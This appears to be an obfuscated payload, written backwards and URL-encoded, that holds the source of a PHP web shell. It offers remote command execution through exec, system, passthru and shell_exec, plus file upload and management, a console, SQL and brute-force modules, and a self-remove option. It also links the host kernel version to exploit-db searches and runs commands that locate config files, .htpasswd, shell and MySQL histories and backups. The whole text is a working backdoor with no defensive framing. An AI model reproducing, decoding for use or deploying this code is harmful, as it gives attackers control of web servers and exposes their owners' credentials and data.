0D%0A%3B%29%29%27-%27+%3A+%27S%27+%3F+%290080x0+%26+p%24%28%28+%3A+%29+%27x%27+%3A+%27s%27+%3F+%290080x0+%26+p%24%28%28+%3F+%290400x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27w%27+%3F+%290800x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27r%27+%3F+%290010x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%27u%27+%3D+i%24+esle%09%0D%0A%3B%27p%27+%3D+i%24%290001x0+%3D%3D+%290001x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27c%27+%3D+i%24%290002x0+%3D%3D+%290002x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27d%27+%3D+i%24%290004x0+%3D%3D+%290004x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27b%27+%3D+i%24%290006x0+%3D%3D+%290006x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27-%27+%3D+i%24%290008x0+%3D%3D+%290008x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27l%27+%3D+i%24%29000Ax0+%3D%3D+%29000Ax0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27s%27+%3D+i%24%29000Cx0+%3D%3D+%29000Cx0+%26+p%24%28%28+fi%09%0D%0A%7B+%29p%24%28smrePosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%27B+%27+.+s%24+nruter%09%09%0D%0Aesle%09%0D%0A%3B%27BK+%27+.+%29+4201+%2F+s%24+%2C%27f2.1%25%27%28ftnirps+nruter%09%09%0D%0A%294201+%3D%3E+s%24%28fiesle%09%0D%0A%3B%27BM+%27+.+%29+6758401+%2F+s%24+%2C%27f2.1%25%27%28ftnirps+nruter%09%09%0D%0A%296758401+%3D%3E+s%24%28fiesle%09%0D%0A%3B%27BG+%27+.%29+4281473701+%2F+s%24+%2C%27f2.1%25%27%28ftnirps+nruter%09%09%0D%0A%294281473701+%3D%3E+s%24%28fi%09%0D%0A++++%0D%0A%3B%29s%24+%2C%22u%25%22%28ftnirps+%3D+s%24++++++++%0D%0A%29%29s%24%28tni_si%28+fi++++%0D%0A%7B+%29s%24%28eziSweiVosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3Btuo%24+nruter%09%0D%0A%7D%09%0D%0A%3B%29f%24%28esolcp%09%09%0D%0A%3B%294201%2Cf%24%28daerf+%3D.+tuo%24%09%09%09%0D%0A%29%29f%24%28foef%40%21%28elihw%09%09%0D%0A%3B%22%22+%3D+tuo%24%09%09%0D%0A%7B+%29%29%29%22r%22%2Cni%24%28nepop%40+%3D+f%24%28ecruoser_si%28+fiesle+%7D%09%0D%0A%3B%29ni%24%28cexe_llehs+%3D+tuo%24%09%09%0D%0A%7B+%29%29%27cexe_llehs%27%28stsixe_noitcnuf%28+fiesle+%7D%09%0D%0A%3B%29%28naelc_teg_bo+%3D+tuo%24%09%09%0D%0A%3B%29ni%24%28metsys%40%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%7B+%29%29%27metsys%27%28stsixe_noitcnuf%28+fiesle+%7D%09%0D%0A%3B%29%28naelc_teg_bo+%3D+tuo%24%09%09%0D%0A%3B%29ni%24%28urhtssap%40%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%7B+%29%29%27urhtssap%27%28stsixe_noitcnuf%28+fiesle+%7D%09%0D%0A%3B%29tuo%24%2C%22n%5C%22%28nioj%40+%3D+tuo%24%09%09%0D%0A%3B%29tuo%24%2Cni%24%28cexe%40%09%09%0D%0A%7B+%29%29%27cexe%27%28stsixe_noitcnuf%28+fi%09%0D%0A%3B%27%27+%3D+tuo%24%09%0D%0A%7B+%29ni%24%28xEosw+noitcnuf%0D%0A%0D%0A%7D+%7D%3Beslaf+nruter%7B+%29p%24%28digrgteg_xisop+noitcnuf++++%0D%0A%7B+%29%29eslaf%3D%3D%3D%29%27digrgteg_xisop%27+%2C%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24%28soprts%28+%26%26+%29%22digrgteg_xisop%22%28stsixe_noitcnuf%21%28+fi%0D%0A%7D+%7D%3Beslaf+nruter%7B+%29p%24%28diuwpteg_xisop+noitcnuf++++%0D%0A%7B+%29%29eslaf%3D%3D%3D%29%27diuwpteg_xisop%27+%2C%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24%28soprts%28+%26%26+%29%22diuwpteg_xisop%22%28stsixe_noitcnuf%21%28+fi%0D%0A%0D%0A%7D%0D%0A%3B%22%3Elmth%2F%3C%3Eydob%2F%3C%3Evid%2F%3C%3Eelbat%2F%3C%3Ert%2F%3C%09%0D%0A%3Edt%2F%3C%3E++rb%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+elif%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3Celbatirw_si%24%3Enaps%2F%3C%3Aelif+daolpU%3Enaps%3C%09%09%0D%0A%3E%27%22+.+%29%27%27%3A%5D%27tesrahc%27%5BTSOP_%24%3F%29%5D%27tesrahc%27%5BTSOP_%24%28tessi%28+.+%22%27%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27eliFdaolpu%27%3Deulav+1p%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27%22.+%5D%27dwc%27%5BSLABOLG%24+.+%22%27%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27nAMseliF%27%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27atad-mrof%2Ftrapitlum%27%3DEPYTCNE+%27tsop%27%3Ddohtem+mrof%3C%3Edt%3C%09%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3E%27%27%3Deulav+c%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3C%3Enaps%2F%3C%3AetucexE%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.c.siht%2Cllun%2C%27elosnoC%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Ert%3C%3Ert%2F%3C%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3Celbatirw_si%24%3Enaps%2F%3C%3Aelif+ekaM%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29%27elifkm%27%2Ceulav.f.siht%2Cllun%2C%27slooTseliF%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ed%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3Celbatirw_si%24%3Enaps%2F%3C%3Arid+ekaM%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.d.siht%2C%27ridkm%27%2Cllun%2C%27naMseliF%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Ert%3C%3Ert%2F%3C%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3C%3Enaps%2F%3C%3Aelif+daeR%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.f.siht%2Cllun%2C%27slooTseliF%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3E%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.+%22%27%3Deulav+c%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3C%3Enaps%2F%3C%3Arid+egnahC%3Enaps%3C%3E%27%3Beslaf+nruter%3B%29%22%5C%22%5C%2Ceulav.c.siht%2Cllun%28g%27%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Ert%3C%09%0D%0A%3E%27%3B333%23+dilos+xp2%3Amottob-redrob%3B333%23+dilos+xp2%3Apot-redrob%27%3Delyts++%25001%3Dhtdiw+0%3Dgnicapsllec+3%3Dgniddapllec+lbTsloot%3Ddi+ofni%3Dssalc+elbat%3C%0D%0A%3Evid%2F%3C%0D%0A%22+ohce++++%0D%0A%3B%22%3Etnof%2F%3C%29elbatirw+toN%28%3Eder%3Droloc+tnof%3C+%22%3A%22%3Etnof%2F%3C%29elbaetirW%28%3E%27neerg%27%3Droloc+tnof%3C+%22%3F%29%5D%27dwc%27%5BSLABOLG%24%28elbatirw_si+%3D+elbatirw_si%24%09%0D%0A%7B+%29%28retooFosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%27%3E%225%3Anigram%22%3Delyts+vid%3C%3Eelbat%2F%3C%3Ert%2F%3C%27+.+unem%24+.+%27%3Ert%3C%3E%25001%3Dhtdiw+0%3Dgnicapsllec+3%3Dgniddapllec+%22%3B333%23+dilos+xp2%3Apot-redrob%22%3Delyts+elbat%3C%27+.+++++++%0D%0A%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3Erbon%2F%3C%27+.+%5D%27RDDA_ETOMER%27%5BREVRES_%24+.+%27%3Erb%3C%3Enaps%2F%3C%3API+tneilC%3Enaps%3C%3Erb%3C%27+.+%5D%22RDDA_REVRES%22%5BREVRES_%24%40+.+%27%3Erb%3C%3Enaps%2F%3C%3API+revreS%3Enaps%3C%3Erb%3C%3Etceles%2F%3C%3Epuorgtpo%2F%3C%27+.+stesrahc_tpo%24+.+%27%3E%22tesrahc+egaP%22%3Dlebal+puorgtpo%3C%3E%22%29eulav.siht%2Cllun%2Cllun%2Cllun%2Cllun%2Cllun%28g%22%3Degnahcno+tceles%3C%3Erbon%3C%3Ethgir%3Dngila+1%3Dhtdiw+dt%3C%27+.+++++++%0D%0A%27%3Edt%2F%3C%27+.+sevird%24+.+%27%3Erb%3C%3Ea%2F%3C%5D+emoh+%5B%3E%22%29%27%5C%27%5C%2C%27%5C%27%5C%2C%27%5C%27%5C%2C%27%5C%27+.+%5D%27dwc_emoh%27%5BSLABOLG%24+.+%27%27%5C%2C%27%5CnaMseliF%27%5C%28g%22%3Dkcilcno+%23%3Dferh+a%3C+%27+.+%29%5D%27dwc%27%5BSLABOLG%24%28roloCsmrePosw+.%27+%27+.+sknil_dwc%24+.+%27%3Erb%3C%29%25%27+.+%29001%2AecapSlatot%24%2FecapSeerf%24%28+%29tni%28+.%27%28+%27+.+%29ecapSeerf%24%28eziSweiVosw+.+%27+%3Enaps%2F%3C%3AeerF%3Enaps%3C+%27+.+%29ecapSlatot%24%28eziSweiVosw+.+%27%3Erb%3C%27+.+%29%27s%3Ai%3AH+d-m-Y%27%28etad+.+%27+%3Enaps%2F%3C%3AemitetaD%3Enaps%3C+%3Ea%2F%3C%5D+ofniphp+%5B%3E%22%29%27%5Cofni%27%5C%2C%27%5C%27%5C%2Cllun%2C%27%5CphP%27%5C%28g%22%3Dkcilcno+%23%3Dferh+a%3C+%27+.+++++++%0D%0A%29%27%3Etnof%2F%3C%3Eb%2F%3CFFO%3Eb%3C%3Eneerg%3Droloc+tnof%3C%27%3A%27%3Etnof%2F%3CNO%3Eder%3Droloc+tnof%3C%27%3F%5D%27edom_efas%27%5BSLABOLG%24%28+.+%27+%3Enaps%2F%3C%3Aedom+efaS%3Enaps%3C+%27+.+%29%28noisrevphp%40+.+%27%3Erb%3C%29+%27+.+puorg%24+.+%27+%28+%27+.+dig%24+.+%27+%3Enaps%2F%3C%3ApuorG%3Enaps%3C+%29+%27+.+resu%24+.+%27+%28+%27+.+diu%24+.+%27%3Erb%3C%3Erbon%2F%3C%3Ea%2F%3C%5Dmoc.bd-tiolpxe%5B%3Eknalb_%3Dtegrat+%22%27+.+knilpxe%24+.+%27%22%3Dferh+a%3C+%27+.+%29021+%2C0+%2C%29%28emanu_php%40%28rtsbus+.+%27%3Erbon%3C%3Edt%3C%27+.+++++++%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3C%27+.+%29%27%27%3A%27%3AsevirD%3Erb%3C%27%3F%27niw%27+%3D%3D+%5D%27so%27%5BSLABOLG%24%28+.+%27%3AdwC%3Erb%3C%3AddH%3Erb%3C%3AphP%3Erb%3C%3AresU%3Erb%3C%3AemanU%3Enaps%3C%3E1%3Dhtdiw+dt%3C%3Ert%3C%3E%25001%3Dhtdiw+0%3Dgnicapsllec+3%3Dgniddapllec+ofni%3Dssalc+elbat%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%27+%3Ea%2F%3C%5D+%27.evird%24.%27+%5B%3E%22%29%27%5C%2F%3A%27.evird%24.%27%27%5C%2C%27%5CnaMseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C%27+%3D.+sevird%24%09%09%09%0D%0A%29%29%27%5C%5C%3A%27.evird%24%28rid_si%28fi%09%09%0D%0A%29evird%24+sa+%29%27z%27%2C%27c%27%28egnar%28hcaerof%09%09%0D%0A%7B+%29%27niw%27+%3D%3D+%5D%27so%27%5BSLABOLG%24%28fi%09%0D%0A%3B%22%22+%3D+sevird%24%09%0D%0A%0D%0A%3B%27%3Eht%2F%3C%5D+%3Ea%2F%3C%27.k%24.%27%3E%22%29%27%5C%27%5C%2C%27%5C%27%5C%2C%27%5C%27%5C%2Cllun%2C%27%5C%27.v%24.%27%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%5B%3E%22%25%27.%29%29m%24%28tnuoc%2F001%28%29tni%28.%27%22%3Dhtdiw+ht%3C%27+%3D.+unem%24%09%09%0D%0A%29v%24+%3E%3D+k%24+sa+m%24%28hcaerof%09%0D%0A%3B%27%27+%3D+unem%24%09%0D%0A%3B%27evomeRfleS%27+%3D+%5D%27evomer+fleS%27%5Bm%24%09%0D%0A%3B%27tuogoL%27+%3D+%5D%27tuogoL%27%5Bm%24%09%09%0D%0A%29%29%5D%27ssap_htua%27%5BSLABOLG%24%28ytpme%21%28fi%09%0D%0A%3B%29%27krowteN%27%3E%3D%27krowteN%27%2C%27ecrofeturB%27%3E%3D%27ecrofeturB%27%2C%27slooTgnirtS%27%3E%3D%27sloot+gnirtS%27%2C%27phP%27%3E%3D%27phP%27%2C%27lqS%27%3E%3D%27lqS%27%2C%27elosnoC%27%3E%3D%27elosnoC%27%2C%27naMseliF%27%3E%3D%27seliF%27%2C%27ofnIceS%27%3E%3D%27ofnI+.ceS%27%28yarra+%3D+m%24%09%0D%0A%0D%0A%3B%27%3Enoitpo%2F%3C%27.meti%24.%27%3E%27.%29%27%27%3A%27detceles%27%3Fmeti%24%3D%3D%5D%27tesrahc%27%5BTSOP_%24%28.%27+%22%27.meti%24.%27%22%3Deulav+noitpo%3C%27+%3D.+stesrahc_tpo%24%09%09%0D%0A%29meti%24+sa+stesrahc%24%28hcaerof%09%0D%0A%3B%27%27+%3D+stesrahc_tpo%24%09%0D%0A%3B%29%27668pc%27+%2C%27U-8IOK%27+%2C%27R-8IOK%27+%2C%271521-swodniW%27+%2C%278-FTU%27%28yarra+%3D+stesrahc%24%09%0D%0A%0D%0A%7D%09%0D%0A%3B%22%3Ea%2F%3C%2F%22.%5Di%24%5Bhtap%24.%22%3E%27%29%22%5C%22+%3D.+sknil_dwc%24%09%09%0D%0A%3B%27%2F%27.%5Dj%24%5Bhtap%24+%3D.+sknil_dwc%24%09%09%09%0D%0A%29%2B%2Bj%24+%3Bi%24%3D%3Cj%24+%3B0%3Dj%24%28rof%09%09%0D%0A%3B%22%22%5C%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%22+%3D.+sknil_dwc%24%09%09%0D%0A%7B+%29%2B%2Bi%24+%3B1-n%24%3Ci%24+%3B0%3Di%24%28rof%09%0D%0A%3B%29htap%24%28tnuoc%3Dn%24%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24+%2C%22%2F%22%28edolpxe+%3D+htap%24%09%0D%0A%3B%27%27+%3D+sknil_dwc%24%09%0D%0A%0D%0A%7D%09%0D%0A%3B%5D%27dig%27%5Bdig%24+%3D+dig%24%09%09%0D%0A%3B%5D%27eman%27%5Bdig%24+%3D+puorg%24%09%09%0D%0A%3B%5D%27diu%27%5Bdiu%24+%3D+diu%24%09%09%0D%0A%3B%5D%27eman%27%5Bdiu%24+%3D+resu%24%09%09%0D%0A%3B%29%29%28digeteg_xisop%28digrgteg_xisop%40+%3D+dig%24%09%09%0D%0A%3B%29%29%28diueteg_xisop%28diuwpteg_xisop%40+%3D+diu%24%09%09%0D%0A%7B+esle+%7D%09%0D%0A%3B%22%3F%22+%3D+puorg%24%09%09%0D%0A%3B%29%28digymteg%40+%3D+dig%24%09%09%0D%0A%3B%29%28diuymteg%40+%3D+diu%24%09%09%0D%0A%3B%29%28resu_tnerruc_teg%40+%3D+resu%24%09%09%0D%0A%7B+%29%29%27digeteg_xisop%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%3B%29%293%2C0%2Cesaeler%24%28rtsbus+.+%27+%27+.+lenrek%24%28edocnelru+%3D.+knilpxe%24%09%09%0D%0Aesle%09%0D%0A%3B%29%296%2C0%2Cesaeler%24%28rtsbus+.+%27+lenreK+xuniL%27%28edocnelru+%3D.+knilpxe%24%09%09%0D%0A%29eslaf+%3D%3D%21+%29lenrek%24+%2C%27xuniL%27%28soprts%28fi%09%0D%0A%3B%27%3Dnoitpircsed_retlif%26hcraes%3Dnoitca%3F%2Fhcraes%2Fmoc.bd-tiolpxe%2F%2F%3Aptth%27+%3D+knilpxe%24%09%0D%0A%3B%29%27s%27%28emanu_php%40+%3D+lenrek%24%09%0D%0A%3B%29%27r%27%28emanu_php%40+%3D+esaeler%24%09%0D%0A%3B1%3AecapSlatot%24%3FecapSlatot%24+%3D+ecapSlatot%24%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ecaps_latot_ksid%40+%3D+ecapSlatot%24%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ecapseerfksid%40+%3D+ecapSeerf%24%09%0D%0A%3B%22%3Emrof%2F%3C%0D%0A%3Etesrahc%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E3p%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E2p%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E1p%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3Ec%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3Ea%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E%27%3Benon%3Ayalpsid%27%3Delyts+fm%3Deman+tsop%3Ddohtem+mrof%3C%0D%0A%3E%27%3B0%3Atfel%3B0%3Apot%3B444%23%3Aroloc-dnuorgkcab%3B%25001%3Ahtdiw%3Betulosba%3Anoitisop%27%3Delyts+vid%3C%3Eydob%3C%3Edaeh%3C%0D%0A%3Etpircs%2F%3C%0D%0A%7D%09%0D%0A%3B%29%27%21rorre+tseuqeR%27%28trela+esle+%7D%09%09%09%0D%0A%3B%29%29%5D1%5Brra+%2C0%28rtsbus.%5D2%5Brra%28lave%09%09%09%09%0D%0A%3B%29txeTesnopser.qer%28cexe.ger%3Drra+rav%09%09%09%09%0D%0A%3B%29%27m%27+%2C%22%5C%29%2A%5Ds%5C%5C%5C%5CS%5C%5C%5C%5C%5B%28%29%2Bd%5C%5C%5C%5C%28%22%5C%28pxEgeR+wen+%3D+ger+rav%09%09%09%09%0D%0A%7B+%29002+%3D%3D+sutats.qer%28fi%09%09%09%0D%0A%29+%294+%3D%3D+etatSydaer.qer%28+%28fi%09%09%0D%0A%7B+%29%28egnahCqeRssecorp+noitcnuf%09%0D%0A%7D%09%0D%0A%7D++++++++%0D%0A%3B%29smarap%28dnes.qer++++++++++++%0D%0A%3B%29%27dedocnelru-mrof-www-x%2Fnoitacilppa%27+%2C%27epyT-tnetnoC%27%28+redaeHtseuqeRtes.qer++++++++++++%0D%0A%3B%29eurt+%2Clru+%2C%27TSOP%27%28nepo.qer++++++++++++%0D%0A%3BegnahCqeRssecorp+%3D+egnahcetatsydaerno.qer++++++++++++%0D%0A%7B+%29qer%28+fi++++++++%0D%0A%3B%29%27PTTHLMX.tfosorciM%27%28tcejbOXevitcA+wen+%3D+qer%09%09%09%0D%0A%29tcejbOXevitcA.wodniw%28+fi+esle%09%09%0D%0A%3B%29%28tseuqeRpttHLMX+wen+%3D+qer%09%09%09%0D%0A%29tseuqeRpttHLMX.wodniw%28+fi%09%09%0D%0A%7B+%29smarap+%2Clru%28rs+noitcnuf%09%0D%0A%7D%09%0D%0A%3B%29smarap+%2C%27%22.+%29%5D%27IRU_TSEUQER%27%5BREVRES_%24%28sehsalsdda+.+%22%27%28rs%09%09%0D%0A%3B%29eulav.%5Di%5Bstnemele.fm.d%28tnenopmoCIRUedocne%2B%27%3D%27%2Beman.%5Di%5Bstnemele.fm.d%2B%27%26%27+%3D%2B+smarap%09%09%09%0D%0A%29%2B%2Bi%3Bhtgnel.stnemele.fm.d%3Ci%3B0%3Di%28rof%09%09%0D%0A%3B%27eurt%3Dxaja%27+%3D+smarap+rav%09%09%0D%0A%3B%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28tes%09%09%0D%0A%7B+%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28a+noitcnuf%09%0D%0A%7D%09%0D%0A%3B%29%28timbus.fm.d%09%09%0D%0A%3B%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28tes%09%09%0D%0A%7B+%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28g+noitcnuf%09%0D%0A%7D%09%0D%0A%3B_tesrahc%3Deulav.tesrahc.fm.d+esle%3Btesrahc%3Deulav.tesrahc.fm.d%29llun%3D%21tesrahc%28fi%09%09%0D%0A%3B_3p%3Deulav.3p.fm.d+esle%3B3p%3Deulav.3p.fm.d%29llun%3D%213p%28fi%09%09%0D%0A%3B_2p%3Deulav.2p.fm.d+esle%3B2p%3Deulav.2p.fm.d%29llun%3D%212p%28fi%09%09%0D%0A%3B_1p%3Deulav.1p.fm.d+esle%3B1p%3Deulav.1p.fm.d%29llun%3D%211p%28fi%09%09%0D%0A%3B_c%3Deulav.c.fm.d+esle%3Bc%3Deulav.c.fm.d%29llun%3D%21c%28fi%09%09%0D%0A%3B_a%3Deulav.a.fm.d+esle%3Ba%3Deulav.a.fm.d%29llun%3D%21a%28fi%09%09%0D%0A%7B+%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28tes+noitcnuf%09%0D%0A%3Btnemucod+%3D+d+rav++++%0D%0A%3B%27%22.+%29%29SETOUQ_TNE%2C%5D%273p%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29eslaf%3D%3D%21%29%22n%5C%22%2C%5D%273p%27%5BTSOP_%24%40%28soprts%28%28+.+%22%27+%3D+_3p+rav++++%0D%0A%3B%27%22.+%29%29SETOUQ_TNE%2C%5D%272p%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29eslaf%3D%3D%21%29%22n%5C%22%2C%5D%272p%27%5BTSOP_%24%40%28soprts%28%28+.+%22%27+%3D+_2p+rav++++%0D%0A%3B%27%22.+%29%29SETOUQ_TNE%2C%5D%271p%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29eslaf%3D%3D%21%29%22n%5C%22%2C%5D%271p%27%5BTSOP_%24%40%28soprts%28%28+.+%22%27+%3D+_1p+rav++++%0D%0A%3B%27%22.+%29%5D%27tesrahc%27%5BTSOP_%24%40%28srahclaicepslmth+.+%22%27+%3D+_tesrahc+rav++++%0D%0A%27%22.+%29%5D%27a%27%5BTSOP_%24%40%28srahclaicepslmth+.+%22%27+%3D+_a+rav++++%0D%0A%3B%27%22+.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.+%22%27+%3D+_c+rav++++%0D%0A%3Etpircs%3C%0D%0A%3Eelyts%2F%3C%0D%0A%7D%3BecapsonoM%2CreiruoC%3Aylimaf-tnof%7Berp%0D%0A%7D333%23%3Aroloc-dnuorgkcab%7B2l.%0D%0A%7D444%23%3Aroloc-dnuorgkcab%7B1l.%0D%0A%7De5e5e5%23%3Aroloc-dnuorgkcab%7Brevoh%3Art+niam.%0D%0A%7D%3Be5e5e5%23%3Aroloc-dnuorgkcab%3Btfel%3Angila-txet%7Bht+niam.%0D%0A%7D+xp003+%3Ahtdiw+%7BpnIsloot.%0D%0A%7D+%3Bretnec%3Angila-txet+%7BlbTsloot%23%0D%0A%7D+%3Bxp0%3Anigram+%7Bmrof%0D%0A%7D+%3B%27weN+reiruoC%27%2CecapsonoM+tp9+%3Atnof+%3Broloc%24+dilos+xp1%3Aredrob%3B555%23%3Aroloc-dnuorgkcab%3Bfff%23%3Aroloc%3B0%3Anigram+%7Btceles%2Caeratxet%2Ctupni%0D%0A%7D+%3Bxp003%3Athgieh%3B%25001%3Ahtdiw+%7Baeragib.%0D%0A%7D+%3Botua+%3Awolfrevo%3B0%3Anigram%3Bxp5%3Agniddap%3B444%23+dilos+xp1%3Aredrob+%7B1lm.%0D%0A%7D+%3Benilrednu%3Anoitaroced-txet+%7Brevoh%3Aa%0D%0A%7D+%3Benon%3Anoitaroced-txet+%7Ba%0D%0A%7D+%3B333%23%3Aroloc-dnuorgkcab%3Bxp5%3Atfel-nigram%3Bxp5+%3Agniddap+%7Btnetnoc.vid%0D%0A%7D+%3Bxp0%3Anigram%3B222%23%3Aroloc-dnuorgkcab%3BanadreV+tp41+%3Atnof%3Bxp5+xp2+%3Agniddap%3Broloc%24+dilos+xp5%3Atfel-redrob+%7B1h%0D%0A%7D+%3Bredlob+%3Athgiew-tnof+%7Bnaps%0D%0A%7D+%3Btnatropmi%21+roloc%24+%3Aroloc+%7Ba%2C1h%2Cnaps%0D%0A%7D+%3B222%23%3Aroloc-dnuorgkcab%3Bfff%23%3Aroloc+%7Bofni.elbat%0D%0A%7D+%3B1e1e1e%23%3Aroloc%3Bpot%3Angila-lacitrev%3B0%3Anigram%3BanadreV%2CadicuL+tp9+%3Atnof+%7Bht%2Cdt%2Cydob%0D%0A%7D%3B1e1e1e%23%3Aroloc%3B444%23%3Aroloc-dnuorgkcab%7Bydob%0D%0A%3Eelyts%3C%0D%0A%3Eeltit%2F%3C%22.+NOISREV_OSW+.+%22+OSW+-+%22+.+%5D%27TSOH_PTTH%27%5BREVRES_%24+.+%22%3Eeltit%3C%3E%27%22+.+%5D%27tesrahc%27%5BTSOP_%24+.+%22%3Dtesrahc+%3Blmth%2Ftxet%27%3Dtnetnoc+%27epyT-tnetnoC%27%3Dviuqe-ptth+atem%3C%3Edaeh%3C%3Elmth%3C%22+ohce%09%0D%0A%3Broloc%24+labolg%09%0D%0A%3B%5D%27tesrahc_tluafed%27%5BSLABOLG%24+%3D+%5D%27tesrahc%27%5BTSOP_%24%09%09%0D%0A%29%29%5D%27tesrahc%27%5BTSOP_%24%28ytpme%28fi%09%0D%0A%7B+%29%28redaeHosw+noitcnuf%0D%0A%0D%0A%3B%29%09%0D%0A%22virp+etacol%22+%3E%3D+%22selif+virp+etacol%22%09%09%0D%0A%2C%22pmud+etacol%22+%3E%3D+%22selif+pmud+etacol%22%09%09%0D%0A%2C%22pukcab+etacol%22+%3E%3D+%22selif+pukcab+etacol%22%09%09%0D%0A%2C%22%27crliamhctef.%27+etacol%22+%3E%3D+%22selif+crliamhctef.+etacol%22%09%09%0D%0A%2C%22%27yrotsih_lqsym.%27+etacol%22+%3E%3D+%22selif+yrotsih_lqsym.+etacol%22%09%09%0D%0A%2C%22%27yrotsih_hsab.%27+etacol%22+%3E%3D+%22selif+yrotsih_hsab.+etacol%22%09%09%0D%0A%2C%22%27dwssapth.%27+etacol%22+%3E%3D+%22selif+dwssapth.+etacol%22%09%09%0D%0A%2C%22%27lqs.%27+etacol%22+%3E%3D+%22selif+lqs.+etacol%22%09%09%0D%0A%2C%22%27dwp.%27+etacol%22+%3E%3D+%22selif+dwp.+etacol%22%09%09%0D%0A%2C%22%27fnoc.%27+etacol%22%3E%3D%22selif+fnoc.+etacol%22%09%09%0D%0A%2C%22gifnoc+etacol%22+%3E%3D+%22+selif+%2Agifnoc+etacol%22%09%09%0D%0A%2C%22php.tluafed.gifnoc+etacol%22+%3E%3D+%22selif+php.tluafed.gifnoc+etacol%22%09%09%0D%0A%2C%22php.cni.gifnoc+etacol%22+%3E%3D+%22php.cni.gifnoc+etacol%22%09%09%0D%0A%2C%22cni.gifnoc+etacol%22+%3E%3D+%22selif+cni.gifnoc+etacol%22%09%09%0D%0A%2C%22php.gifnoc+etacol%22+%3E%3D+%22selif+php.gifnoc+etacol%22%09%09%0D%0A%2C%22tad.gifnoc+etacol%22+%3E%3D+%22selif+tad.gifnoc+etacol%22%09%09%0D%0A%2C%22php.fnoc+etacol%22+%3E%3D+%22selif+php.fnoc+etacol%22%09%09%0D%0A%2C%22php.gfc+etacol%22+%3E%3D+%22selif+php.gfc+etacol%22%09%09%0D%0A%2C%22php.nimda+etacol%22%3E%3D+%22selif+php.nimda+etacol%22%09%09%0D%0A%2C%22fnoc.ym+etacol%22+%3E%3D+%22selif+fnoc.ym+etacol%22%09%09%0D%0A%2C%22fnoc.cnbysp+etacol%22+%3E%3D